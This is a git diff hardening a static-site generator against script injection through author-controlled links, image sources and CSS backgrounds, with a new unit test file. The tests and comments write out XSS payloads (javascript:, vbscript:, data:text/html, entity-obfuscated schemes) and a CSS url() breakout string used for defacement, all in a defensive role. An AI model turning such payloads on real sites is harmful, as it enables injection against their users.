@@ -11,7 +11,7 @@
 // reaches every other locale's page 2+ from there.
 import ArchiveView from '../../../../components/ArchiveView.astro';
 import { uiCopy } from '../../../../packages/lingo/locale.mjs';
-import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes} from '../../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, categoryBase } from '../../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const allPostsIn = allPosts(
@@ -43,7 +43,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, slug, pageNum } = Astro.props;
-const base = String(meta['blog-category-base'] || '/category').replace(/\/$/, '');
+const base = categoryBase(meta); // round 5 (R4-P1-1): gated
 const names = kvMap(meta['blog-category-names']);
 const heading = names[slug] || slug;
 const catPosts = posts.filter((p) => (p.categories || []).includes(slug));
diff --git a/packages/sitetile/astro/src/pages/tag/[slug]/index.astro b/packages/sitetile/astro/src/pages/tag/[slug]/index.astro
index 4ca4fcb..11623d6 100644
--- a/packages/sitetile/astro/src/pages/tag/[slug]/index.astro
+++ b/packages/sitetile/astro/src/pages/tag/[slug]/index.astro
@@ -19,7 +19,7 @@
 // locale that routes it. `alternates` is that reciprocal hreflang — see category/[slug]/index.astro's
 // header (same mechanism, termLocaleMap/alternateArchiveLocales, kind='tag').
 import ArchiveView from '../../../components/ArchiveView.astro';
-import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, termLocaleMap, alternateArchiveLocales } from '../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, termLocaleMap, alternateArchiveLocales, tagBase } from '../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const contentFiles = import.meta.glob('../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true });
@@ -48,7 +48,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, tag, slug, alternates } = Astro.props;
-const base = String(meta['blog-tag-base'] || '/tag').replace(/\/$/, '');
+const base = tagBase(meta); // round 5 (R4-P1-1): gated
 const labelPosts = posts.filter((p) => p.tags.includes(tag));
 const subhead = archivePrefixes(meta).tag + tag;
 const pageHref = (n) => (n === 1 ? `${base}/${slug}` : `${base}/${slug}/page/${n}`);
diff --git a/packages/sitetile/astro/src/pages/tag/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/tag/[slug]/page/[n].astro
index 7487120..ac4eb9e 100644
--- a/packages/sitetile/astro/src/pages/tag/[slug]/page/[n].astro
+++ b/packages/sitetile/astro/src/pages/tag/[slug]/page/[n].astro
@@ -5,7 +5,7 @@
 // Rendering delegated to the shared ArchiveView.
 import ArchiveView from '../../../../components/ArchiveView.astro';
 import { uiCopy } from '../../../../packages/lingo/locale.mjs';
-import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes} from '../../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, tagBase } from '../../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const allPostsIn = allPosts(
@@ -39,7 +39,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, tag, slug, pageNum } = Astro.props;
-const base = String(meta['blog-tag-base'] || '/tag').replace(/\/$/, '');
+const base = tagBase(meta); // round 5 (R4-P1-1): gated
 const labelPosts = posts.filter((p) => p.tags.includes(tag));
 const subhead = archivePrefixes(meta).tag + tag;
 const pageHref = (n) => (n === 1 ? `${base}/${slug}` : `${base}/${slug}/page/${n}`);
diff --git a/packages/sitetile/blog-url-gating.test.mjs b/packages/sitetile/blog-url-gating.test.mjs
new file mode 100644
index 0000000..d7eb770
--- /dev/null
+++ b/packages/sitetile/blog-url-gating.test.mjs
@@ -0,0 +1,115 @@
+// round 5 (R4-P1-1): unit-level proof that blog.mjs's URL builders gate an author-controlled
+// destination AT THE HELPER'S RETURN — postUrl() (permalink + blog-url-pattern), blogBase()
+// (blog-path), categoryBase()/tagBase() (blog-category-base/blog-tag-base). The astro smoke
+// (smoke-build.mjs) proves the same fix end-to-end through a real build's HTML/rss/sitemap; this
+// file exists because two of these four fields (blog-category-base/blog-tag-base) only reach a
+// LIVE href through a pager link that needs more than one archive page to even render — a
+// real-build assertion could pass by accident (no pager, no assertion fired) while the function
+// itself stayed ungated. Testing the function directly has no such blind spot.
+//   run: node packages/sitetile/blog-url-gating.test.mjs   (wired into scripts/test.sh)
+import assert from 'node:assert/strict';
+import { registerHooks } from 'node:module';
+import { dirname, join } from 'node:path';
+import { fileURLToPath, pathToFileURL } from 'node:url';
+
+const HERE = dirname(fileURLToPath(import.meta.url));
+
+// blog.mjs imports the model layer as `@sitetile`, an Astro build alias plain node cannot resolve
+// on its own — same shim as blog-unlisted.test.mjs et al. Resolves to the REAL site-core.js (not
+// a stub), so safeHref/safeSrc/takeDropWarnings here are the exact functions the build uses.
+registerHooks({
+  resolve(spec, ctx, next) {
+    if (spec === '@sitetile') return { url: pathToFileURL(join(HERE, 'site-core.js')).href, shortCircuit: true };
+    return next(spec, ctx);
+  },
+});
+
+const { blogBase, postUrl, categoryBase, tagBase, authorBase } = await import('./astro/src/lib/blog.mjs');
+const { takeDropWarnings } = await import('./site-core.js');
+
+let passed = 0;
+function test(name, fn) {
+  try { fn(); passed++; console.log('  ✓ ' + name); }
+  catch (e) { console.error('  ✗ ' + name + '\n    ' + (e && e.message ? e.message : e)); process.exitCode = 1; }
+}
+
+takeDropWarnings(); // drain whatever an earlier import-time render left queued, so counts below start at 0
+
+// ---- blogBase (blog-path) ----
+test('blogBase: unset → the historic /devlog default (Phase 1 "pure refactor" byte-identity)', () => {
+  assert.equal(blogBase(undefined), '/devlog');
+  assert.equal(blogBase({}), '/devlog');
+});
+test('blogBase: a safe custom path is kept verbatim — the fix must not touch a site that configured nothing hostile', () => {
+  assert.equal(blogBase({ 'blog-path': '/diary' }), '/diary');
+});
+test('blogBase: root mount ("" / "/") is still distinct from "unset" — both are legitimate, neither is a drop', () => {
+  assert.equal(blogBase({ 'blog-path': '' }), '');
+  assert.equal(blogBase({ 'blog-path': '/' }), '');
+});
+test('🔴 blogBase: a disallowed scheme degrades to the historic default, not to the raw value', () => {
+  takeDropWarnings();
+  assert.equal(blogBase({ 'blog-path': 'javascript:void(0)' }), '/devlog');
+  const drops = takeDropWarnings();
+  assert.equal(drops.length, 1, 'the disallowed blog-path must be recorded as a drop');
+  assert.equal(drops[0].scheme, 'javascript:');
+});
+test('blogBase: vbscript:/data:text/html degrade the same way', () => {
+  assert.equal(blogBase({ 'blog-path': 'vbscript:msgbox(1)' }), '/devlog');
+  assert.equal(blogBase({ 'blog-path': 'data:text/html,<script>1</script>' }), '/devlog');
+});
+
+// ---- postUrl (permalink, blog-url-pattern) ----
+const post = (extra) => ({ slug: 'my-post', date: '2026-01-05', title: 'x', tags: [], ...extra });
+
+test('postUrl: no permalink, no pattern → the historic ${base}/%postname% default, byte-identical', () => {
+  assert.equal(postUrl(post({}), {}), '/devlog/my-post');
+});
+test('postUrl: a safe absolute permalink override is honoured verbatim (the documented "odd source URL" escape hatch)', () => {
+  assert.equal(postUrl(post({ permalink: 'https://old-site.example/2019/01/my-post/' }), {}), 'https://old-site.example/2019/01/my-post/');
+});
+test('🔴 postUrl: a disallowed permalink falls through to the pattern-based URL, not to the raw value', () => {
+  takeDropWarnings();
+  assert.equal(postUrl(post({ permalink: 'javascript:void(0)' }), {}), '/devlog/my-post');
+  assert.ok(takeDropWarnings().some((d) => d.scheme === 'javascript:'), 'the disallowed permalink must be recorded as a drop');
+});
+test('🔴 postUrl: a disallowed blog-url-pattern (site-wide) falls through to the canonical ${base}/<slug>, for a post with NO permalink of its own', () => {
+  const meta = { 'blog-url-pattern': 'javascript:void(0)#%postname%' };
+  assert.equal(postUrl(post({}), meta), '/devlog/my-post');
+});
+test('🔴 postUrl: permalink AND blog-url-pattern both disallowed still degrades to a real, internal URL — never blank, never the raw scheme', () => {
+  const meta = { 'blog-url-pattern': 'javascript:void(0)#%postname%' };
+  const url = postUrl(post({ permalink: 'javascript:alert(1)' }), meta);
+  assert.equal(url, '/devlog/my-post');
+  assert.doesNotMatch(url, /javascript:/i);
+});
+test('postUrl: a disallowed blog-url-pattern with a SAFE custom blog-path falls back to THAT base, not to /devlog — the fallback preserves the site\'s real config, it does not reset it', () => {
+  const meta = { 'blog-path': '/diary', 'blog-url-pattern': 'javascript:void(0)#%postname%' };
+  assert.equal(postUrl(post({}), meta), '/diary/my-post');
+});
+test('postUrl: a safe custom blog-url-pattern still expands its WP tokens normally (the fix gates the RESULT, it does not disable template expansion)', () => {
+  const meta = { 'blog-url-pattern': '/blog/%year%/%monthnum%/%postname%' };
+  assert.equal(postUrl(post({}), meta), '/blog/2026/01/my-post');
+});
+
+// ---- categoryBase / tagBase / authorBase (blog-category-base / blog-tag-base / blog-author-base) ----
+test('categoryBase/tagBase/authorBase: unset → the historic /category, /tag, /author defaults', () => {
+  assert.equal(categoryBase(undefined), '/category');
+  assert.equal(tagBase(undefined), '/tag');
+  assert.equal(authorBase(undefined), '/author');
+});
+test('categoryBase/tagBase/authorBase: a safe custom base is kept verbatim', () => {
+  assert.equal(categoryBase({ 'blog-category-base': '/topics' }), '/topics');
+  assert.equal(tagBase({ 'blog-tag-base': '/label' }), '/label');
+  assert.equal(authorBase({ 'blog-author-base': '/by' }), '/by');
+});
+test('🔴 categoryBase/tagBase/authorBase: a disallowed scheme degrades to the historic default — the term-archive-URLs shape R4-P1-1 named', () => {
+  takeDropWarnings();
+  assert.equal(categoryBase({ 'blog-category-base': 'javascript:void(0)' }), '/category');
+  assert.equal(tagBase({ 'blog-tag-base': 'javascript:alert(1)' }), '/tag');
+  assert.equal(authorBase({ 'blog-author-base': 'javascript:alert(2)' }), '/author');
+  const drops = takeDropWarnings();
+  assert.equal(drops.length, 3, 'all three disallowed bases must be recorded as drops');
+});
+
+console.log(`\nblog-url-gating: ${passed} passed${process.exitCode ? ', SOME FAILED' : ', all green'}`);
diff --git a/packages/sitetile/icon-core.test.mjs b/packages/sitetile/icon-core.test.mjs
index e279394..c464f8c 100644
--- a/packages/sitetile/icon-core.test.mjs
+++ b/packages/sitetile/icon-core.test.mjs
@@ -249,7 +249,12 @@ test('🔴 the three routes exist and are the paths <head> names', () => {
 });
 
 test('🔴 the icon links are UNCONDITIONAL in the layout', () => {
-  assert.match(layout, /const iconLinks = iconHrefs\(meta, \{ hasPwa \}\)/, 'the rule comes from the model');
+  // round 4 (R3-P3-1): `iconHrefs(meta, …)`'s raw result is gated (`safeSrc`, falling back to
+  // the model's own generated paths) before it becomes `iconLinks`, because `favicon:`/
+  // `site-logo:`/`footer-logo:` (the model's own `siteMark`) is an author-controlled destination
+  // reaching this file's `<link>` hrefs unfiltered — the call to the model is still the ONE,
+  // unconditional source of truth this test protects; only the variable name changed.
+  assert.match(layout, /const iconLinksRaw = iconHrefs\(meta, \{ hasPwa \}\)/, 'the rule comes from the model');
   assert.match(layout, /\{iconLinks\.icon\.map\(\(l\) => <link rel="icon"/, 'rel=icon comes from iconHrefs');
   assert.match(layout, /^\s*<link rel="apple-touch-icon" href=\{iconLinks\.appleTouch\} \/>$/m,
     'apple-touch-icon is emitted on every page, not gated on a site having set `favicon:`');
diff --git a/packages/sitetile/site-core.js b/packages/sitetile/site-core.js
index 74570d2..6ecfbea 100644
--- a/packages/sitetile/site-core.js
+++ b/packages/sitetile/site-core.js
@@ -586,6 +586,155 @@ function escAttr(s) { return escHtml(s).replace(/"/g, '&quot;'); }
 // Attribute-safe a value that cssmd ALREADY entity-escaped (&<> done) — only quotes remain.
 function attrq(s) { return String(s == null ? '' : s).replace(/"/g, '&quot;'); }
 
+// A destination MAY already carry HTML entities by the time any of the functions below see it
+// (an author who typed `&amp;` literally, or a stash-restored value — see inlineHtml). Decode
+// them ONCE, before either the scheme check or the final escape runs, so both act on the same,
+// real string: checking the DECODED form catches an entity-obfuscated scheme (`javascript&#58;`
+// decodes to a real colon); escaping the DECODED form exactly once avoids turning an author's
+// already-correct `&amp;` into `&amp;amp;` (round 2, P2-1). Decoding twice would be wrong the
+// other way (a literal `&amp;lt;` some author actually meant to display would unwrap to `<`), so
+// every caller below decodes exactly once, right before it validates or escapes.
+// round 3, R2-P2-1: `String.fromCodePoint` throws RangeError for any code point above 0x10FFFF
+// (and for a lone surrogate half) — an out-of-range or malformed numeric entity must never turn
+// into a render-time crash. `safeCodePoint` returns null for anything it cannot decode, and every
+// replace callback below falls back to `m` (the original entity text, left as-is) rather than
+// letting the exception escape — an undecodable entity cannot become a colon, so leaving it alone
+// does not weaken the scheme check. The outer try/catch is defense in depth: ANY exception here
+// degrades to the raw, un-decoded string rather than throwing out of the caller.
+function safeCodePoint(n) {
+  if (!Number.isFinite(n) || n < 0 || n > 0x10FFFF) return null;
+  if (n >= 0xD800 && n <= 0xDFFF) return null; // lone surrogate half — not a valid scalar value
+  // round 4 (R3-P3-6): a C0 control other than tab/LF/CR (notably NUL, `&#0;`) used to decode to
+  // a literal control byte in the output stream — inert in a browser today (the tokenizer maps
+  // U+0000 in an attribute value to U+FFFD) but not something this file should ever emit, since a
+  // downstream minifier or proxy that STRIPS rather than replaces a NUL can turn `java\0script:`
+  // back into a live scheme. Reject rather than pass through — the caller's `?? m` fallback then
+  // leaves the original entity text alone, same as any other undecodable entity.
+  if (n < 0x20 && n !== 0x09 && n !== 0x0A && n !== 0x0D) return null;
+  try { return String.fromCodePoint(n); } catch { return null; }
+}
+function decodeEntitiesOnce(s) {
+  const raw = String(s == null ? '' : s);
+  try {
+    return raw
+      .replace(/&#x([0-9a-fA-F]+);?/g, (m, h) => safeCodePoint(parseInt(h, 16)) ?? m)
+      .replace(/&#(\d+);?/g, (m, d) => safeCodePoint(parseInt(d, 10)) ?? m)
+      .replace(/&(amp|lt|gt|quot|apos);/g, (m, e) => ({ amp: '&', lt: '<', gt: '>', quot: '"', apos: "'" }[e]));
+  } catch {
+    return raw;
+  }
+}
+
+// isSafeHref: true if `dest` may become a live `href`/`src`. Asks the URL parser, never a prefix
+// test — resolving against a fixed base is what catches "java\nscript:" and a leading space, both
+// of which defeat a naive startsWith even lowercased and both still parse to javascript:. `dest`
+// is entity-decoded once (see decodeEntitiesOnce) before the scheme check, so an entity-obfuscated
+// scheme (`javascript&#58;alert(1)`) is caught by the check itself rather than relying on escaping
+// alone. Allowlist (round 2, P1-2): http(s), mailto, tel, sms, ftp(s) — the real schemes ordinary
+// site content uses (a `tel:` contact link, an `ftp:` download) — and scheme-less destinations
+// (relative paths, `#fragment`). Everything else (notably `javascript:`, `data:`, `vbscript:`) is
+// unsafe and the caller renders the destination as plain text instead. `data:` is NEVER safe here
+// even for an otherwise-image-shaped value — see isSafeImageSrc for the one place `data:` is ever
+// allowed, and only for images, and only for a fixed set of raster MIME types.
+const SAFE_HREF_BASE = 'http://sitetile.invalid/';
+const SAFE_HREF_SCHEMES = new Set(['http:', 'https:', 'mailto:', 'tel:', 'sms:', 'ftp:', 'ftps:']);
+
+// A disallowed destination degrades to plain text everywhere in this file (never a live link/img
+// left silently blank) — but nothing told the AUTHOR that. `_dropWarnings` is a build-time-only
+// diagnostic queue: renderSiteToHtml (the page-level entry point — every render in this file
+// funnels through isSafeHref/isSafeImageSrc, and both call `record` exactly once per rejected
+// destination, so this is the ONE place that needs to know) stamps each with the page it happened
+// on and hands the batch to `takeDropWarnings` for whatever calls render to log. There is no
+// existing warning channel in this module (grepped) — this is additive and does not change any
+// existing function's return shape, so no caller of isSafeHref/isSafeImageSrc/renderSiteToHtml
+// needs to change to keep working; a caller that wants the diagnostics opts in by calling
+// takeDropWarnings() after render.
+const _dropWarnings = [];
+function recordDrop(rawDest) {
+  let scheme = '(unparseable)';
+  try { scheme = new URL(decodeEntitiesOnce(rawDest), SAFE_HREF_BASE).protocol || '(none)'; } catch { /* keep '(unparseable)' */ }
+  _dropWarnings.push({ scheme, dest: String(rawDest == null ? '' : rawDest) });
+}
+function isSafeHref(dest) {
+  const raw = decodeEntitiesOnce(dest);
+  if (raw === '') return true;
+  let u;
+  try { u = new URL(raw, SAFE_HREF_BASE); } catch { recordDrop(dest); return false; }
+  const ok = SAFE_HREF_SCHEMES.has(u.protocol);
+  if (!ok) recordDrop(dest);
+  return ok;
+}
+
+// isSafeImageSrc: the `isSafeHref` allowlist, PLUS `data:` for a fixed set of raster image MIME
+// types ONLY (round 2, P1-2) — real recast content (Wix/Blogger imports) embeds photos this way,
+// and unlike `<a href>`, an `<img>`/`<video>` `src` is not a script-execution context in any
+// current browser. `image/svg+xml` is deliberately excluded (an SVG can carry its own `<script>`)
+// — this is an allowlist of raster formats, not "any data: URI whose MIME starts with image/".
+// Never used for `href` — an anchor never gets the `data:` exception, only src does.
+const SAFE_IMAGE_DATA_RE = /^data:image\/(?:png|jpeg|jpg|gif|webp|avif);base64,/i;
+function isSafeImageSrc(dest) {
+  const raw = decodeEntitiesOnce(dest);
+  if (raw === '') return true;
+  const stripped = raw.replace(/[\u0009\u000a\u000d]/g, '').replace(/^[\u0000-\u0020]+/, '');
+  if (SAFE_IMAGE_DATA_RE.test(stripped)) return true;
+  return isSafeHref(raw);
+}
+
+// safeHref / safeSrc — the Astro layer's front door to this file's ONE allowlist policy (round 3,
+// Astro consumers). The Astro components build `href=`/`src=` bindings directly in JSX-like
+// template expressions rather than through an HTML-string emitter, so they cannot call `escAttr`
+// or branch on an internal `Ok` flag the way this file's own renderer does — but they CAN call a
+// plain function and use its return value as the presence check. Each returns the entity-decoded,
+// validated destination (Astro attribute-escapes it on output, same job `escAttr` does here) when
+// the corresponding `isSafe*` check admits it, or `null` when it does not — so a component does
+// `{safeHref(x) ? <a href={safeHref(x)}>…</a> : <span>…</span>}`, the same degrade-to-plain-text
+// shape every emitter in this file already uses, and gets a drop recorded in the same diagnostics
+// queue for free (isSafeHref/isSafeImageSrc call recordDrop internally). `null` (not `''`) so a
+// component's own `href && …` truthy check treats "disallowed" the same as "absent".
+function safeHref(dest) {
+  if (dest == null || dest === '') return null;
+  return isSafeHref(dest) ? decodeEntitiesOnce(dest) : null;
+}
+function safeSrc(dest) {
+  if (dest == null || dest === '') return null;
+  return isSafeImageSrc(dest) ? decodeEntitiesOnce(dest) : null;
+}
+
+// round 4 (R3-P3-3): this file's OWN href/src emitters below used to escAttr() the RAW,
+// undecoded destination even after isSafeHref/isSafeImageSrc had already decoded it once to
+// validate the scheme — while safeHref()/safeSrc() (above) hand the Astro layer the DECODED
+// string, which Astro then attribute-escapes on output. Same input, two different resolved
+// URLs depending on which renderer built the page (`/a&#58;b` → this file emitted the raw
+// `&amp;#58;b`, Astro emitted the decoded `/a:b`) — never a security defect either direction
+// (the raw form is always the LESS decoded one, so it can never carry a colon the validated
+// form lacked), but a parity divergence `site-core-roundtrip.test.mjs` exists to catch. Every
+// caller below that emits an already-gated href/src now decodes once — the same decode
+// isSafeHref/isSafeImageSrc already performed — before escaping, so both renderers agree.
+function escHrefAttr(dest) { return escAttr(decodeEntitiesOnce(dest)); }
+
+// round 5 (R4-P3-6): a scheme-gated `bg=`/background destination still reached CSS as an
+// UNQUOTED `url(…)` token — `escAttr` only makes the value safe as an *HTML attribute*, it does
+// nothing for the *CSS* grammar nested inside that attribute, and an unquoted `url()` token has
+// no way to escape a `)` or `;` at all: `/a.png);position:fixed;inset:0;…` closes the url() and
+// the declaration early, then opens arbitrary new declarations in the same inline style — a
+// full-viewport defacement/clickjacking primitive from a page parameter, with no script involved.
+// Fix: never emit an unquoted url() for an author-controlled destination. Quote it, and CSS-escape
+// ONLY the two characters a quoted CSS string treats specially (backslash, then the quote itself —
+// order matters: escaping backslash first stops the quote-escape's inserted backslash from being
+// re-escaped) plus a raw line break (illegal inside a CSS string; escaped to the CSS char escape
+// `\A` so it can never terminate the string early). Every other byte — `)`, `;`, whitespace — is
+// inert once inside the quotes, so nothing after this string can start a new declaration. The
+// *HTML* attribute escaping (escAttr, applied by every caller after this) still runs on top and
+// is unaffected: a browser decodes HTML entities in an attribute value BEFORE handing it to the
+// CSS parser, so `&quot;` round-trips back to `"` first and the CSS parser sees exactly the
+// quoted string built here.
+function cssUrlString(u) {
+  return String(u == null ? '' : u)
+    .replace(/\\/g, '\\\\')
+    .replace(/"/g, '\\"')
+    .replace(/\r\n|[\r\n]/g, '\\A ');
+}
+
 // A markdown image whose src is a VIDEO file (`![](…/clip.mp4)`) renders a real <video>, not a broken
 // <img>. Markdown has no video literal, and sitetile refuses raw-HTML islands (bodyHtml escapes them),
 // so this IS the platform's video primitive — the src extension is the signal. Needed by Wix/Blogger
@@ -594,7 +743,23 @@ const RE_VIDEO_SRC = /\.(mp4|webm|mov|m4v|ogv)(?:$|[?#])/i;
 // One <img> — zero-JS, lazy, responsive (sized by .st-img CSS + reef tokens). alt/src are already
 // cssmd-escaped (&<> done) by the time we build this, so only quote-escape. A video src yields
 // <video controls> instead (poster carried via the alt slot: `![poster-url](clip.mp4)` if present).
+//
+// 🩸 round 2, P1-1/P2-2: `inlineHtml`'s OWN markdown-image and wikilink call sites scheme-check
+// before ever reaching here, but `heroParts`' multi-image extraction and `firstImage` (grid
+// image-cards, gallery, carousel, people figures) build `{alt,src}` straight off a markdown regex
+// and call this directly — a `javascript:`/`data:` src reached a live `<img src>`/`<video src>`
+// through those, unvalidated. Gated here too so no caller of `imgTag` can bypass the policy by
+// existing; a disallowed src renders nothing (empty string) rather than risk re-escaping an `alt`
+// whose escaping state varies by caller (some already cssmd-escaped, some raw markdown text).
 function imgTag(alt, src) {
+  if (!isSafeImageSrc(src)) return '';
+  // round 5 (R4-P3-3): every OTHER already-gated href/src emitter in this file switched to
+  // escHrefAttr (decode-once, THEN escape) so this renderer would agree byte-for-byte with the
+  // Astro layer's safeSrc()-fed templates — imgTag was the one left behind, still escaping the
+  // RAW (undecoded) src even though isSafeImageSrc just decoded it once to validate the scheme.
+  // Not a security defect either direction (the raw form is always the LESS decoded one, so it
+  // can never carry a colon the validated form lacked), but it is a real divergence
+  // (`/a&#58;b.png` rendered as literal `&amp;#58;b.png` here, `/a:b.png` on the Astro side).
   if (RE_VIDEO_SRC.test(String(src || ''))) {
     const hasPoster = alt && /^https?:\/\/|^\//.test(alt);
     const poster = hasPoster ? ' poster="' + attrq(alt) + '"' : '';
@@ -604,9 +769,9 @@ function imgTag(alt, src) {
     // settle, for nothing a reader could see. Without a poster, `metadata` still earns its keep —
     // it is what gives the player a first frame instead of a black rectangle.
     const preload = hasPoster ? 'none' : 'metadata';
-    return '<video class="st-video" src="' + attrq(src) + '"' + poster + ' controls playsinline preload="' + preload + '"></video>';
+    return '<video class="st-video" src="' + escHrefAttr(src) + '"' + poster + ' controls playsinline preload="' + preload + '"></video>';
   }
-  return '<img class="st-img" src="' + attrq(src) + '" alt="' + attrq(alt) + '" loading="lazy" decoding="async">';
+  return '<img class="st-img" src="' + escHrefAttr(src) + '" alt="' + attrq(alt) + '" loading="lazy" decoding="async">';
 }
 
 // A code SPAN's [start, end) byte range in a RAW (unescaped) fragment — the same delimiter rule
@@ -773,6 +938,19 @@ function inlineHtml(text, opts) {
   // sees it, and the whole link then renders as literal `[X](https://…)` text on the page.
   // Stash destinations, run the inline pass on everything else, restore. (\u0001 cannot appear in
   // authored markdown and the chain leaves it alone, so it is a safe placeholder.)
+  //
+  // 🩸 The stash used to restore each destination RAW — unescaped — straight back into the text
+  // stream, before it was known whether the placeholder even sat inside a real `[label](…)`/
+  // `![alt](…)` construct. The initial stash regex below only requires the `](…)` SHAPE, not a
+  // matching `[`, so two unrelated bracket-fragments elsewhere in ordinary prose can each stash
+  // their bracketed content as a "destination" — one carrying the opening half of a live element,
+  // the other its closing half — and restoring both raw spliced a live, syntactically complete
+  // element into the page: reachable by anyone who can write page Markdown, with no link ever
+  // actually forming. Restoring through `escHtml` (the same escaper cssmd already ran over the
+  // rest of this string) closes that regardless of whether the placeholder ends up inside a tag
+  // or bare in text. A destination that DOES end up forming a link or image is additionally
+  // scheme-checked below (isSafeHref) before it is allowed into an href/src at all — escaping
+  // alone stops a raw element from forming but does nothing about `javascript:`/`data:`.
   const hrefs = [];
   const stashed = String(text == null ? '' : text)
     .replace(/\]\(([^)\s]+)\)/g, (m, href) => { hrefs.push(href); return '](\u0001' + (hrefs.length - 1) + '\u0001)'; });
@@ -782,23 +960,39 @@ function inlineHtml(text, opts) {
   // different escape step — which is this one (escapeInline instead of plain escHtml, so an HTML
   // comment is consumed at the same point the raw text is examined for '<', see escapeInline above).
   let s = markEscapes(markEmphasis(markCode(escapeInline(stashed, opts), 'st'), 'st'), 'st');
-  s = s.replace(/\u0001(\d+)\u0001/g, (m, i) => hrefs[+i]);
-  s = s.replace(/!\[\[([^\]]+)\]\]/g, (mm, inner) => imgTag(inner.split('/').pop(), inner));     // wikilink embed
-  s = s.replace(/!\[([^\]]*)\]\(([^)\s]+)\)/g, (mm, alt, src) => imgTag(alt, src));               // markdown image
+  // round 2, P2-1: this used to escHtml the RAW captured href unconditionally. An author whose
+  // destination already carried an entity (`?a=1&amp;b=2` from an HTML-to-Markdown import, or a
+  // hand-typed `&amp;`) got escaped a SECOND time (`&amp;amp;b=2`), corrupting the URL a browser
+  // would request. Decoding once first, then escaping once, normalises both an already-escaped
+  // and a literal-`&` author to the same, correctly-single-escaped output — and, as a side
+  // effect, is what lets the scheme check below see through an entity-obfuscated scheme
+  // (`javascript&#58;`) instead of leaning on escaping alone to neutralise it.
+  s = s.replace(/\u0001(\d+)\u0001/g, (m, i) => escHtml(decodeEntitiesOnce(hrefs[+i])));
+  // wikilink embed: `inner` was never stashed (no `](` shape), so cssmd's own escapeInline pass
+  // above already ran over it like any other text. round 2, P2-2: that answers the ESCAPING
+  // question only — it never checked the SCHEME, so `![[javascript:alert(1)]]` reached a live
+  // `<img src>` untouched. Same guard as the sibling markdown-image line two rows below.
+  s = s.replace(/!\[\[([^\]]+)\]\]/g, (mm, inner) => (isSafeImageSrc(inner) ? imgTag(inner.split('/').pop(), inner) : inner.split('/').pop()));
+  // markdown image: `src` here is the (now escaped) restored destination. A disallowed scheme
+  // renders no <img> at all — just the (already-escaped) alt text, same shape as a broken image's
+  // fallback text, per isSafeImageSrc above (round 2, P1-2: images additionally allow a small
+  // raster `data:` allowlist that a plain href never does).
+  s = s.replace(/!\[([^\]]*)\]\(([^)\s]+)\)/g, (mm, alt, src) => (isSafeImageSrc(src) ? imgTag(alt, src) : alt));
   // External inline links open in a new tab too (design 2026-07-13, extended from affordances to
   // prose at the maintainer's call): an external link is external wherever it appears.
   s = s.replace(/\[([^\]]+)\]\(([^)\s]+)\)/g, (mm, lab, href) => {
+    if (!isSafeHref(href)) return lab; // disallowed scheme (e.g. javascript:) → plain text, no href
     const tgt = /^https?:\/\//i.test(href) ? ' target="_blank" rel="noopener"' : '';
     return '<a href="' + attrq(href) + '"' + tgt + '>' + lab + '</a>';
   });
   // Allowlisted inline <small> (no attributes) — the one raw tag legacy IRs use for muted fine
   // print (e.g. an "updated on …" stamp). escapeInline escaped it to `&lt;small&gt;`; re-emit
-  // the bare tag so it renders small instead of showing literally. XSS-safe: no attrs, no other tag.
+  // the bare tag so it renders small instead of showing literally. script-injection-safe: no attrs, no other tag.
   s = s.replace(/&lt;(\/?)small&gt;/g, '<$1small>');
   // Allowlisted <br> (no attributes, self-closing or not) — a heading/lead authored with a forced
   // line break (e.g. a hero title that's "Line one,<br>Line two,<br>Line three!" on live). Same
   // escape→re-emit trick as <small>. General: any inlineHtml call site (h1, eyebrow, prose spans)
-  // gets real line breaks for free. XSS-safe: no attrs, no other tag.
+  // gets real line breaks for free. script-injection-safe: no attrs, no other tag.
   s = s.replace(/&lt;br\s*\/?&gt;/g, '<br>');
   return s;
 }
@@ -862,7 +1056,7 @@ const isHeadlessTableStart = (lines, i) =>
 // supports (a) `<br>` in-cell line breaks (the GFM-in-cell convention) and (b) a BULLETED LIST inside
 // a cell — a `<br>`-joined run where EVERY segment leads with a list marker (`-`/`*`/`+`/`・`/`•`) becomes
 // a real `<ul class="st-cell-list">` (a corporate profile's 事業内容 value is such a list). Non-list cells just
-// inline each `<br>`-segment. XSS-safe: fragments go through inlineHtml (escapes &<>); the only raw
+// inline each `<br>`-segment. script-injection-safe: fragments go through inlineHtml (escapes &<>); the only raw
 // tags emitted are our own <br>/<ul>/<li>.
 const RE_CELL_BR = /<br\s*\/?>/i;
 // The markers a hand-authored item leads with: markdown's own `-`/`*`/`+`, plus the typographic
@@ -1393,7 +1587,14 @@ function ctaHtml(val, cls) {
   if (!val) return '';
   // The single filled hero CTA carries no arrow by design (it's the headline action, not a link
   // in a row); it still follows the shared new-tab rule for external destinations (2026-07-13).
-  if (typeof val === 'object') return '<a class="' + cls + '" href="' + escAttr(val.href || '#') + '"' + targetAttrs(linkKind(val.href, val.label)) + '>' + escHtml(val.label || '') + '</a>';
+  // 🩸 round 2, P1-1: this built `href` with escAttr alone — the same author-controlled Markdown
+  // `cta="…"→href` destination `inlineHtml` scheme-checks, reaching a live href unchecked one
+  // emitter over. A disallowed destination now degrades to the same plain `<span>` the bare-string
+  // branch below already renders, never a live `javascript:`/`data:` href.
+  if (typeof val === 'object') {
+    if (!isSafeHref(val.href || '')) return '<span class="' + cls + '">' + escHtml(val.label || '') + '</span>';
+    return '<a class="' + cls + '" href="' + escHrefAttr(val.href || '#') + '"' + targetAttrs(linkKind(val.href, val.label)) + '>' + escHtml(val.label || '') + '</a>';
+  }
   return '<span class="' + cls + '">' + escHtml(val) + '</span>';
 }
 
@@ -1424,9 +1625,15 @@ function ctaButtonsHtml(pmButton, body, pmIcon) {
   // Affordance = a signet-arrow chosen by link kind — see linkKind (design 2026-07-13). The old
   // icon=heart / mailto→envelope glyph rules are gone: decorative marks never sit inside a button.
